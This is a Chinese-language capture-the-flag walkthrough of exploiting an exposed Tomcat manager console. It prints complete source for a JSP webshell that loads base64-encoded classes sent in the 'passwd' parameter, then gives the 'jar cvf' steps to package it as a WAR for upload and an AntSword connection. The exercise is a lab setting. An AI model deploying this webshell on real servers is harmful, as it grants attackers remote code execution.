tomcat的管理控制台竟然暴露在外面,有什么办法可以获取这台机器权限找出flag呢
进入网站发现无法打开网站
因为之前也做过类似这样的题目,之前的题目是因为这个服务没有开放在默认的端口号上面,所以我就想着是不是这个也是一样,但是用nmap扫描之后就发现没有开放的端口,看来不是这个的问题,我又去网上搜了一下。
要改变url才可以进入
进来之后是这样的,要用户名和密码参考上面的图片输入
成功登录,然后看到了有文件上传,就试一下文件上传,这里给了很明显的提示是要上传war后缀的文件。但是直接修改后缀很明显不行。我又去网上搜索了一下
http://t.csdnimg.cn/qUUap
发现是要制作war木马,就是先去网上找一段jsp的一句话木马,然后再用jdk把他包装成war文件再上传。
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
我用的是这一段,后面要连接蚁剑的时候就要用密码passwd这个来连接
然后就是包装成为war,要把这段代码改为jsp为后缀放在jdk文件bin目录下,参考目录
C:\Program Files\Java\jdk1.8.0_71\bin,听网上说最好改名为index.jsp。然后以管理员的身份运行cmd,这个很重要如果只是单纯的cmd在后面会报错,说拒绝访问,因为没有限权去创造文件
先移动到bin目录下,然后用
jar cvf 文件名.war index(放在bin目录下的那个文件).jsp
运行之后就会在bin目录下多了一个,war为后缀的文件,然后上传这个文件就可以在主页面上看到这个文件,上传成功是ok,否则就是你的文件和别人的重名了改一下名字重新上传。
最后用蚁剑连接成功
注意连接的地址是ip/上传的文件名/原来的jsp文件名.jsp